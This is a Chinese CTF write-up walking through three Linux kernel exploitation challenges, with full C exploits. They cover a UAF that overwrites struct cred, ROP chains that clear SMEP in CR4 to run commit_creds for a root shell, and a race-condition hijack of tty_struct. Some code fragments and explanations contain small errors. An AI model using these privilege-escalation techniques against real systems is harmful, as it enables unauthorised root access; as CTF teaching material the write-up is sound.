0x07 以CISCN2017 – babydriver为例

🏅:本题考查点 – UAF in Kernel

根据boot.sh所示,程序开启了SMEP保护。

Init文件分析

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "nBoot took $(cut -d' ' -f1 /proc/uptime) secondsn"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

发现本次的文件系统没有加载共享文件夹,这将导致我们每次写完PoC都需要将PoC重打包进文件系统。

🚫:经过进一步测试发现,Kernel文件不支持9p选项,因此无法通过修改Init的方式来挂载共享文件夹。

然后我们需要重打包文件系统,使用命令find . | cpio -o --format=newc > rootfs.cpio

image-20200319100951911

调试信息

QEMU启动指令:

qemu-system-x86_64 -s 
-initrd rootfs.cpio 
-kernel bzImage 
-fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/error404/Desktop/CTF_question/Kernel/babydriver/Share 
-device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme 
-cpu kvm64,+smep

因为boot.sh中涉及到了KVM技术,而在虚拟机中的Ubuntu再启动虚拟化是很麻烦的,因此可以直接修改启动指令为以上指令。

LKMs文件分析

image-20200319105536067

题目逻辑分析

可以发现,本题中提供了ioctl函数,这给了我们更多的交互方式。

babyioctl

程序定义了一个命令码0x10001,在这个命令码下,程序将会释放device_buf指向的Chunk,并且申请一个用户传入大小的Chunkdevice_buf,然后将这个大小赋给device_buf_len

babyopen

在打开设备时,程序即会申请一个64字节大小的Chunkdevice_buf,然后将这个大小赋给device_buf_len

babywrite

device_buf指向的Chunk写入值,写入长度不得超过device_buf_len

babyread

device_buf指向的Chunk向用户返回值,返回长度不得超过device_buf_len

babyrelease

释放device_buf指向的Chunk

题目漏洞分析

可以发现,本次题目中的函数没有之前见到过的栈溢出或者空指针引用等漏洞。

需要注意,在Kernel中,如果用户态程序多次打开同一个字符设备,那么这个字符设备的线程安全将由字符设备本身来保证,即有没有在open函数相关位置进行互斥锁的设置等。这个题目给出的设备显然没有实现相关机制。

那么,如果我们打开两次LKMs,两个LKMsbabydev_struct.device_buf将指向同一个位置,也就是说,后一个LKMs的babydev_struct.device_buf将覆盖前一个LKMs的babydev_struct.device_buf。若此时第一个LKMs执行了释放操作,那么第二个LKMsbabydev_struct.device_buf事实上将指向一块已经被释放了的内存,这将导致Use-After-Free漏洞的发生。

我们在Kernel Pwn 学习之路(一)中说明过一个struct cred - 进程权限结构体,它将记录整个进程的权限,那么,如果我们能将这个结构体篡改了,我们就可以提升整个进程的权限,而结构体必然需要通过内存分配,我们可以利用fork函数将一个进程分裂出一个子进程,此时,父进程将与子进程共享内存空间,而子进程被创建时必然也要创建对应的struct cred,此时将会把第二个LKMsbabydev_struct.device_buf指向的已释放的内存分配走,那么此时我们就可以修改struct cred了。

Final Exploit

根据我们的思路,我们可以给出以下的Expliot:

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
int main()
{
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    // 修改device_buf_len 为 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0xA8);

    // 释放fd1,此时,LKMs2的device_buf将指向一块大小为sizeof(struct cred)的已free的内存
    close(fd1);

    // 新起进程的 cred 空间将占用那一块已free的内存
    int pid = fork();
    if(pid < 0)
    {
        puts("[*] fork error!");
        exit(0);
    }

    else if(pid == 0)
    {
        // 篡改新进程的 cred 的 uid,gid 等值为0
        char zeros[30] = {0};
        write(fd2, zeros, 28);

        if(getuid() == 0)
        {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    }

    else
    {
        wait(NULL);
    }
    close(fd2);

    return 0;
}

由于题目环境没有共享文件夹供我们使用,故直接将其编译后放在文件系统的tmp目录即可然后重打包启动QEMU即可调试。

image-20200319132339753

0x08 以2020高校战疫分享赛 – babyhacker为例

🏅:本题考查点 – ROP Chain in Kernel、整数溢出、Bypass SEMP/kASLR

调试信息

QEMU启动指令:

qemu-system-x86_64 
-m 512M 
-nographic 
-kernel bzImage 
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' 
-monitor /dev/null 
-initrd initramfs.cpio 
-smp cores=2,threads=4 
-cpu qemu64,smep,smap 2>/dev/null 

本题依然没有给出共享文件夹,因此仍需要在利用时重打包文件系统。

Kernel开启了SEMPSAMPKASLR保护。

LKMs文件分析

image-20200319134331699

LKMs文件启动了Canary防护。

题目逻辑分析

babyhacker_ioctl

程序定义了三个命令码0x300000x300010x30002

0x30000命令码下,程序会将buffersize置为我们输入的参数。(最大为10)

0x30001命令码下,程序会将我们输入的参数写到栈上。

0x30002命令码下,程序会将栈上数据输出。

题目漏洞分析

当我们设置参数时,程序会将我们的输入转为有符号整数进行上限检查,而没有进行下限检查,这会导致整数溢出的发生。也就是说,当我们输入的buffersize为-1时,我们事实上可以对栈上写入一个极大值。

泄露栈上数据

由于程序开启了KASLR保护,因此我们需要从栈上泄露一些数据,我们构造如下PoC:

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <stropts.h>
uint64_t u64(char * s){
    uint64_t result = 0;
    for (int i = 7 ; i >=0 ;i--){
        result = (result << 8) | (0x00000000000000ff & s[i]);
    }
    return result;
}
char leak_value[0x1000];
    unsigned long Send_value[0x1000];
    int fd1 = open("/dev/babyhacker", O_RDONLY);

    ioctl(fd1, 0x30000, -1);
    ioctl(fd1, 0x30002, leak_value);

    for(int i = 0 ; i * 8 < 0x1000 ; i++ ){
        uint64_t tmp = u64(&leak_value[i * 8]);
        printf("naddress %d: %pn",i * 8 ,tmp);
    }
    return 0;
}

⚠️:我们在打开一个字符设备时一定要保证模式正确,例如本题的设备没有为我们提供Write交互参数,那么我们就应该以只读方式打开此设备,否则会引发不可预知的错误!

根据我们的判断,程序应该会在0x140的偏移处存储Canary的值

image-20200319225257575

我们在结果中也确实读到了相应的值

image-20200319225353693

控制EIP

那么我们只要接收这个值就可以在发送时带有这个值进而控制EIP了,构造如下PoC:

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <stropts.h>

uint64_t u64(char * s){
    uint64_t result = 0;
    for (int i = 7 ; i >=0 ;i--){
        result = (result << 8) | (0x00000000000000ff & s[i]);
    }
    return result;
}

int main()
{
    char leak_value[0x1000];
    unsigned long Send_value[0x1000];
    int fd1 = open("/dev/babyhacker", O_RDONLY);

    save_status();

    ioctl(fd1, 0x30000, -1);
    ioctl(fd1, 0x30002, leak_value);

    // for(int i = 0 ; i * 8 < 0x1000 ; i++ ){
    //     uint64_t tmp = u64(&leak_value[i * 8]);
    //     printf("naddress %d: %pn",i * 8 ,tmp);
    // }

    uint64_t Canary = u64(&leak_value[10 * 8]);
    printf("nCanary: %pn",Canary);

    for(int i = 0 ; i < 40 ; i++ )
        Send_value[i] = 0;
    Send_value[40] = Canary;
    Send_value[41] = 0;
    Send_value[42] = 0xDEADBEEF; 

    ioctl(fd1, 0x30001, Send_value);
    return 0;
}

那么按照预期,程序应该会因为EIP处为0xDEADBEEF这个不合法地址而断电。

image-20200319225743825

结果确实如此。

Bypass SEMP & Bypass kASLR

那么绕过SEMP的思路还可以使用我们之前所述的思路,首先导出并寻找可用的gadget

0xffffffff81004d70 : mov cr4, rdi ; pop rbp ; ret
0xffffffff8109054d : pop rdi ; ret

我们找到了这两个gadget之后还要想办法绕过开启的kASLR保护,这将导致我们无法得知这几个gadget的真实地址。

我们可以在启动QEMU时,暂时关闭kASLR,然后我们就可以得到程序返回地址的真实值。(将启动参数里的kaslr修改为nokaslr)

image-20200319230612250

也就是0xffffffff81219218

接下来我们开启kASLR,再次获取相同位置的值,然后我们可以得到如下计算公式:

0xffffffff81219218 + 固定offset = 获取到的随机加载地址
任意函数的物理地址 + 固定offset = 任意函数的实际加载地址
任意函数的物理地址 + 获取到的随机加载地址 - 0xffffffff81219218 = 任意函数的实际加载地址

那么我们可以构造如下PoC:

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <stropts.h>

uint64_t u64(char * s){
    uint64_t result = 0;
    for (int i = 7 ; i >=0 ;i--){
        result = (result << 8) | (0x00000000000000ff & s[i]);
    }
    return result;
}

int main()
{
    char leak_value[0x1000];
    unsigned long Send_value[0x1000];
    int fd1 = open("/dev/babyhacker", O_RDONLY);

    ioctl(fd1, 0x30000, -1);
    ioctl(fd1, 0x30002, leak_value);

    // for(int i = 0 ; i * 8 < 0x1000 ; i++ ){
    //     uint64_t tmp = u64(&leak_value[i * 8]);
    //     printf("naddress %d: %pn",i * 8 ,tmp);
    // }

    uint64_t Canary = u64(&leak_value[40 * 8]);
    printf("nCanary: %pn",Canary);
    uint64_t Rand_addr = u64(&leak_value[42 * 8]);
    printf("nRand address: %pn",Rand_addr);

    for(int i = 0 ; i < 40 ; i++ )
        Send_value[i] = 0;
    Send_value[40] = Canary;
    Send_value[41] = 0;
    Send_value[42] = Rand_addr + 0xffffffff8109054d - 0xffffffff81219218; 
    Send_value[43] = 0x6e0; 
    Send_value[44] = Rand_addr + 0xffffffff81004d70 - 0xffffffff81219218; 
    Send_value[45] = 0;
    Send_value[46] = 0xDEADBEEF;

    ioctl(fd1, 0x30001, Send_value);
    return 0;
}

image-20200319232027339

通过CR4寄存器的值确定,我们已经成功关闭了SEMPSEAP保护。

Final Exploit

接下来我们只需要获取两个关键函数地址就可以get_shell了,但是注意,我们还是需要先暂时关闭kASLR再从/proc/kallsyms读取到的函数地址才是正确的地址。

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <stropts.h>
struct trap_frame{
    void *rip;
    uint64_t cs;
    uint64_t rflags;
    void * rsp;
    uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;

void launch_shell(){
    execl("/bin/sh","sh",NULL);
}

void save_status(){
    asm(
        "mov %%cs,  %0n"
        "mov %%ss,  %1n"
        "mov %%rsp, %3n"
        "pushfqn"
        "popq %2" :"=r"(tf.cs),"=r"(tf.ss),"=r"(tf.rflags),"=r"(tf.rsp) :
        :"memory"
    );
    tf.rsp -= 4096;
    tf.rip = &launch_shell;
}

uint64_t (*commit_creds)(uint64_t cred) ;
uint64_t (*prepare_kernel_cred)(uint64_t cred) ;

void payload(void){
    commit_creds(prepare_kernel_cred(0));
    asm("movq $tf, %rspn"
        "swapgsn"
        "iretqn");
}

uint64_t u64(char * s){
    uint64_t result = 0;
    for (int i = 7 ; i >=0 ;i--){
        result = (result << 8) | (0x00000000000000ff & s[i]);
    }
    return result;
}

int main()
{
    char leak_value[0x1000];
    unsigned long Send_value[0x1000];
    int fd1 = open("/dev/babyhacker", O_RDONLY);

    save_status();

    ioctl(fd1, 0x30000, -1);
    ioctl(fd1, 0x30002, leak_value);

    // for(int i = 0 ; i * 8 < 0x1000 ; i++ ){
    //     uint64_t tmp = u64(&leak_value[i * 8]);
    //     printf("naddress %d: %pn",i * 8 ,tmp);
    // }

    uint64_t Canary = u64(&leak_value[40 * 8]);
    printf("nCanary: %pn",Canary);
    uint64_t Rand_addr = u64(&leak_value[42 * 8]);
    printf("nRand address: %pn",Rand_addr);

    prepare_kernel_cred = (void *)(Rand_addr + 0xffffffff810a1820 - 0xffffffff81219218); 
    commit_creds = (void *)(Rand_addr + 0xffffffff810a1430 - 0xffffffff81219218);

    for(int i = 0 ; i < 40 ; i++ )
        Send_value[i] = 0;
    Send_value[40] = Canary;
    Send_value[41] = 0;
    Send_value[42] = Rand_addr + 0xffffffff8109054d - 0xffffffff81219218; 
    Send_value[43] = 0x6e0; 
    Send_value[44] = Rand_addr + 0xffffffff81004d70 - 0xffffffff81219218; 
    Send_value[45] = 0;
    Send_value[46] = payload;
    Send_value[47] = 0xDEADBEEF;

    ioctl(fd1, 0x30001, Send_value);
    return 0;
}

image-20200319234552288

提权成功!

0x09 以2020高校战疫分享赛 – Kernoob为例

🏅:本题考查点 – ROP Chain in Kernel、整数溢出、Bypass SEMP/kASLR

Init文件分析

有时文件系统的init文件是空的,可以去/etc下面的init.d下面寻找

#!/bin/sh

echo "Welcome :)"

mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts

insmod /home/pwn/noob.ko
chmod 666 /dev/noob

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

cd /home/pwn
setsid /bin/cttyhack setuidgid 1000 sh

umount /proc
poweroff -f

我们可以看到,程序对/proc/sys/kernel/dmesg_restrict/proc/sys/kernel/dmesg_restrict这两个文件进行了操作。

关于/proc/sys/kernel/dmesg_restrict

这里我们引用 kernel docs 中的内容:

This toggle indicates whether unprivileged users are prevented from using dmesg(8) to view messages from the kernel’s log buffer. When dmesg_restrict is set to (0) there are no restrictions. When dmesg_restrict is set set to (1), users must have CAP_SYSLOG to use dmesg(8). The kernel config option CONFIG_SECURITY_DMESG_RESTRICT sets the default value of dmesg_restrict.

可以发现,当/proc/sys/kernel/dmesg_restrict为1时,将不允许用户使用dmesg命令。

关于/proc/sys/kernel/kptr_restrict

这里我们引用lib/vsprintf.c中的内容:

case 'K':
        /*
         * %pK cannot be used in IRQ context because its test
         * for CAP_SYSLOG would be meaningless.
         */
        if (kptr_restrict && (in_irq() || in_serving_softirq() ||
                      in_nmi())) {
            if (spec.field_width == -1)
                spec.field_width = default_width;
            return string(buf, end, "pK-error", spec);
        }

        switch (kptr_restrict) {
        case 0:
            /* Always print %pK values */
            break;
        case 1: {
            /*
             * Only print the real pointer value if the current
             * process has CAP_SYSLOG and is running with the
             * same credentials it started with. This is because
             * access to files is checked at open() time, but %pK
             * checks permission at read() time. We don't want to
             * leak pointer values if a binary opens a file using
             * %pK and then elevates privileges before reading it.
             */
            const struct cred *cred = current_cred();

            if (!has_capability_noaudit(current, CAP_SYSLOG) ||
                !uid_eq(cred->euid, cred->uid) ||
                !gid_eq(cred->egid, cred->gid))
                ptr = NULL;
            break;
        }
        case 2:
        default:
            /* Always print 0's for %pK */
            ptr = NULL;
            break;
        }
        break;

可以发现,当/proc/sys/kernel/dmesg_restrict为0时,将允许任何用户查看/proc/kallsyms

/proc/sys/kernel/dmesg_restrict为1时,仅允许root用户查看/proc/kallsyms

/proc/sys/kernel/dmesg_restrict为2时,不允许任何用户查看/proc/kallsyms

修改Init文件

那么此处我们为了调试方便,我们将上述的Init文件修改为:

#!/bin/sh

echo "ERROR404 Hacked!"

mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts

insmod /home/pwn/noob.ko
chmod 666 /dev/noob

echo 0 > /proc/sys/kernel/dmesg_restrict
echo 0 > /proc/sys/kernel/kptr_restrict
echo 1 >/proc/sys/kernel/perf_event_paranoid

cd /home/pwn
setsid /bin/cttyhack setuidgid 1000 sh

umount /proc
poweroff -f

并重打包文件系统。

调试信息

QEMU启动指令:

qemu-system-x86_64 
-s 
-m 128M 
-nographic 
-kernel bzImage 
-append 'console=ttyS0 loglevel=3 pti=off oops=panic panic=1 nokaslr' 
-monitor /dev/null 
-initrd initramfs.cpio 
-smp 2,cores=2,threads=1 
-cpu qemu64,smep 2>/dev/null 

本题依然没有给出共享文件夹,因此仍需要在利用时重打包文件系统。

Kernel开启了SEMP保护。

我们可以使用如下命令获取程序的加载地址grep noob /proc/kallsyms

~ $ grep noob /proc/kallsyms
ffffffffc0002000 t copy_overflow    [noob]
ffffffffc0003120 r kernel_read_file_str [noob]
ffffffffc0002043 t add_note [noob]
ffffffffc000211c t del_note [noob]
ffffffffc0002180 t show_note    [noob]
ffffffffc00022d8 t edit_note    [noob]
ffffffffc0002431 t noob_ioctl   [noob]
ffffffffc0004000 d fops [noob]
ffffffffc0004100 d misc [noob]
ffffffffc0003078 r .LC1 [noob]
ffffffffc00044c0 b pool [noob]
ffffffffc0004180 d __this_module    [noob]
ffffffffc00024f2 t cleanup_module   [noob]
ffffffffc00024ca t init_module  [noob]
ffffffffc00024f2 t noob_exit    [noob]
ffffffffc00024ca t noob_init    [noob]

由此可以看出以下地址

.text : 0xffffffffc0002000
.data : 0xffffffffc0004000
.bss  : 0xffffffffc00044C0

# code in gdb
set architecture i386:x86-64:intel
add-symbol-file noob.ko 0xffffffffc0002000 -s .data 0xffffffffc0004000 -s .bss 0xffffffffc00044C0

LKMs文件分析

image-20200320150909188

题目逻辑分析

babyhacker_ioctl

程序定义了四个命令码0x300000x300010x300020x30003,并且程序对于参数寻址时采用的方式是指针方式,因此我们向ioctl应当传入的的是一个结构体。

struct IO {
    uint64_t index;
    void *buf;
    uint64_t size;
};
IO io;

0x30000命令码下,程序会调用add_note函数,将会在全局变量Chunk_listio -> index的位置分配一个io -> size大小的Chunkio -> size将会存储在全局变量Chunk_size_list中,此处Chunk_listChunk_size_list呈交错存在。

0x30001命令码下,程序会调用del_note函数,将会释放Chunk_listio -> index的位置的Chunk

0x30002命令码下,程序会调用edit_note函数,进行Chunk_listio -> index的位置的Chunk合法性检查且保证io -> size小于等于Chunk_size_listio -> index的位置的值后将会调用copy_from_user(chunk,io -> buf, io -> size);bufChunk内写值。

0x30003命令码下,程序会调用show_note函数,进行Chunk_listio -> index的位置的Chunk合法性检查且保证io -> size小于等于Chunk_size_listio -> index的位置的值后将会调用copy_to_user(io -> buf,chunk, io -> size);Chunkbuf内写值。

题目漏洞分析

首先,程序在调用kfree释放堆块后并没有执行data段对应位置的清零,这将导致Use-After-Free漏洞的发生。

然后,本设备涉及到了对全局变量的读写,且没有做加锁保护,这将导致Race Condition(条件竞争)漏洞的发生,即多次打开相同设备,他们将共享全局变量区域。

分配任意地址大小的Chunk

由于条件竞争的存在,我们可以轻松绕过add_note函数里的size检查,程序里的size检查形如这样

if ( arg[2] > 0x70 || arg[2] <= 0x1F )
    return -1LL;

但是此处的判断同样是分两步判断的,也就是,先判断io -> size是否大于0x70,再判断io -> size是否小于等于0x1F,如果我们创建一个并发进程,同时尝试把io -> size的值刷新为0xA0(此处我们假设要分配的大小为0xA0)的一个”叠加态”,那么一定存在一个这样的情况,当进行io -> size是否小于等于0x70的判断时,io -> size的值还未被刷新,当进行io -> size是否大于0x1F的判断时,io -> size被刷新为了0x1F,这样就通过了保护。

注意:我们在设定io -> size的初值时,一定要小于0x1F,否则可能会发生直到Chunk分配结束io -> size都没有被刷新的情况发生。

我们首先构建如下PoC来测试:

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <stropts.h>
#include <pthread.h>
struct IO_noob {
    uint64_t index;
    void *buf;
    uint64_t size;
};
struct IO_noob io;

void fake_size() {
    while(1) {
        io.size = 0xA8; 
    }
}

int main()
{
    char IO_value[0x1000] = {0};
    int fd1 = open("/dev/noob", O_RDONLY);

    pthread_t t;
    pthread_create(&t, NULL, (void*)fake_size, NULL);
    io.index = 0;
    io.buf   = IO_value;

    while (1)
    {
        io.size  = 0x10;
        if(ioctl(fd1, 0x30000, &io) == 0)
            break;
    }
    pthread_cancel(t);
    puts("[+] Now we have a 0xA0 size Chunk!");
    ioctl(fd1, 0x30001, &io); // For BreakPoint

    return 0;
}

⚠️:注意,因为我们使用了pthread实现多线程,因此在使用gcc编译时需要添加-pthread参数!

分配成功 image-20200320234804454

劫持tty struct结构体

接下来我们尝试去利用这个UAF漏洞来劫持tty struct,那么我们首先就要计算这个结构体的大小,此处为了避免源码分析出错,我们选择写一个Demo用于测试。

#include <linux/init.h>
#include <linux/module.h>
#include <linux/cred.h>
#include <linux/tty.h>
#include <linux/tty_driver.h>

MODULE_LICENSE("Dual BSD/GPL");

static int hello_init(void)
{
    printk(KERN_ALERT "sizeof cred   : %d", sizeof(struct cred));
    printk(KERN_ALERT "sizeof tty    : %d", sizeof(struct tty_struct));
    printk(KERN_ALERT "sizeof tty_op : %d", sizeof(struct tty_operations));
    return 0;
}

static void hello_exit(void)
{
    printk(KERN_ALERT "exit module!");
}

module_init(hello_init);
module_exit(hello_exit);

使用以下makefile进行编译:

obj-m := important_size.o
KERNELBUILD := SourceCode/linux-4.15.15
CURDIR := /home/error404/Desktop/Mac_desktop/Linux-Kernel

modules:
    make -C $(KERNELBUILD) M=$(CURDIR) modules
clean:
    make -C $(KERNELBUILD) M=$(CURDIR) clean

使用IDA反编译即可

!image-20200321162918749

那么我们构造如下PoC就可以把tty struct结构体分配到我们的目标区域。

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <stropts.h>
#include <pthread.h>
struct IO_noob {
    uint64_t index;
    void *buf;
    uint64_t size;
};
struct IO_noob io;

void fake_size() {
    while(1) {
        io.size = 0x2C0; 
    }
}

int main()
{
    char IO_value[0x30] = {0};
    int fd1 = open("/dev/noob", O_RDONLY);

    pthread_t t;
    pthread_create(&t, NULL, (void*)fake_size, NULL);
    io.index = 0;
    io.buf   = IO_value;

    while (1)
    {
        io.size  = 0x10;
        if(ioctl(fd1, 0x30000, &io) == 0)
            break;
    }
    pthread_cancel(t);
    puts("[+] Now we have a 0x2C0 size Chunk!");

    ioctl(fd1, 0x30001, &io);
    int fd2 = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    if (fd_tty < 0) {
        puts("[-] open error");
        exit(-1); 
    }
    puts("[+] Now we can write tty struct Chunk!");

    ioctl(fd1, 0x30002, &io); // For BreakPoint
    return 0;
}

image-20200321160002599

伪造tty_operations结构体&控制RIP

构造如下PoC就可以伪造tty_operations结构体,并将函数流程引导至0xDEADBEEF

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <stropts.h>
#include <pthread.h>
struct IO_noob {
    uint64_t index;
    void *buf;
    uint64_t size;
};
struct IO_noob io;

void fake_size() {
    while(1) {
        io.size = 0x2C0; 
    }
}

int main()
{
    size_t IO_value[5] = {0};
    size_t Fake_tty_operations[0x118/8] = {0};
    Fake_tty_operations[12] = 0xDEADBEEF;

    int fd1 = open("/dev/noob", O_RDONLY);

    pthread_t t;
    pthread_create(&t, NULL, (void*)fake_size, NULL);
    io.index = 0;
    io.buf   = IO_value;

    while (1)
    {
        io.size  = 0x10;
        if(ioctl(fd1, 0x30000, &io) == 0)
            break;
    }
    pthread_cancel(t);
    puts("[+] Now we have a 0x2C0 size Chunk!");

    ioctl(fd1, 0x30001, &io);
    int fd2 = open("/dev/ptmx", O_RDWR);
    if (fd2 < 0) {
        puts("[-] open error");
        exit(-1); 
    }
    puts("[+] Now we can write tty struct Chunk!");

    io.size  = 0x30;
    ioctl(fd1, 0x30003, &io);

    IO_value[3] = (size_t)Fake_tty_operations;
    ioctl(fd1, 0x30002, &io);

    ioctl(fd2,0,0);
    return 0;
}

image-20200321185300600

执行ROP&Bypass SEMP

那么我们希望程序可以直接跳转到我们的ROP Chain来运行,此时我们就可以试图去迁移栈了,但是通过导出并寻找可用的gadget的过程,我们发现,没有对rsp操作的gadget,仅有对esp操作的gadget,并且我们在调试时发现了一个事实,rax事实上将存储我们执行的代码的地址,那么,我们就可以将栈迁移到我们已知的一个地址,这样,我们就可以执行我们的ROP链了。

⚠️:我们在寻找gadget的时候可以很容易的发现0xffffffff8112bc48 : mov esp, eax ; retf这个gadget,但我们不首选使用这个,因为retf是远返回指令(Return Far),这个指令将会从栈上弹一个值用来恢复cs段寄存器,我们对这个值是不可控的,因此可能会破坏cs段寄存器!

我们最终选用0xffffffff8101db17 : xchg eax, esp ; ret,这将交换eaxesp这两个寄存器的值。

接下来绕过SEMP的思路还可以使用我们之前所述的思路,导出并寻找可用的gadget

0xffffffff8101f2f0 : mov cr4, rdi ; pop rbp ; ret
0xffffffff8107f460 : pop rdi ; ret

Final Exploit

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <stropts.h>
#include <pthread.h>
struct trap_frame{
    void *rip;
    uint64_t cs;
    uint64_t rflags;
    void * rsp;
    uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;

void launch_shell(){
    puts("[+] Now Root!");
    execl("/bin/sh","sh",NULL);
}

void save_status(){
    asm(
        "mov %%cs,  %0n"
        "mov %%ss,  %1n"
        "mov %%rsp, %3n"
        "pushfqn"
        "popq %2" :"=r"(tf.cs),"=r"(tf.ss),"=r"(tf.rflags),"=r"(tf.rsp) :
        :"memory"
    );
    tf.rsp -= 4096;
    tf.rip = &launch_shell;
}

uint64_t (*commit_creds)(uint64_t cred) = (void *)0xffffffff810ad430;
uint64_t (*prepare_kernel_cred)(uint64_t cred) = (void *)0xffffffff810ad7e0;

void payload(void){
    commit_creds(prepare_kernel_cred(0));
    asm("movq $tf, %rspn"
        "swapgsn"
        "iretqn");
}

struct IO_noob {
    uint64_t index;
    void *buf;
    uint64_t size;
};
struct IO_noob io;

void fake_size() {
    while(1) {
        io.size = 0x2C0; 
    }
}

int main()
{
    size_t IO_value[5] = {0};
    size_t Fake_tty_operations[0x118/8] = {0};
    Fake_tty_operations[12] = 0xffffffff8101db17;
    size_t *ROP_chain = mmap((void *)(0x8101d000), 0x1000, 7, 0x22, -1, 0); 
    if (!ROP_chain) {
        puts("mmap error");
        exit(-1); 
    }

    size_t pop_rdi_ret = 0xffffffff8107f460;
    size_t mov_cr4_rdi = 0xffffffff8101f2f0;
    size_t rop_chain[] = {
        pop_rdi_ret,
        0x6e0,
        mov_cr4_rdi,
        0,
        payload,
        0xDEADBEEF,
    };
    memcpy((void *)(0x8101db17), rop_chain, sizeof(rop_chain));

    int fd1 = open("/dev/noob", O_RDONLY);
    save_status();

    pthread_t t;
    pthread_create(&t, NULL, (void*)fake_size, NULL);
    io.index = 0;
    io.buf   = IO_value;

    while (1)
    {
        io.size  = 0x10;
        if(ioctl(fd1, 0x30000, &io) == 0)
            break;
    }
    pthread_cancel(t);
    puts("[+] Now we have a 0x2C0 size Chunk!");

    ioctl(fd1, 0x30001, &io);
    int fd2 = open("/dev/ptmx", O_RDWR);
    if (fd2 < 0) {
        puts("[-] open error");
        exit(-1); 
    }
    puts("[+] Now we can write tty struct Chunk!");

    io.size  = 0x30;
    ioctl(fd1, 0x30003, &io);

    IO_value[3] = (size_t)Fake_tty_operations;
    ioctl(fd1, 0x30002, &io);

    puts("[+] Now ROP!");
    ioctl(fd2, 0, 0);
    return 0;
}

image-20200321195454822

0x08 参考链接

CTF-Wiki Linux Kernel

When kallsyms doesn’t show addresses even though kptr_restrict is 0 – hatena

kernel pwn入门(1) 简易环境搭建

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注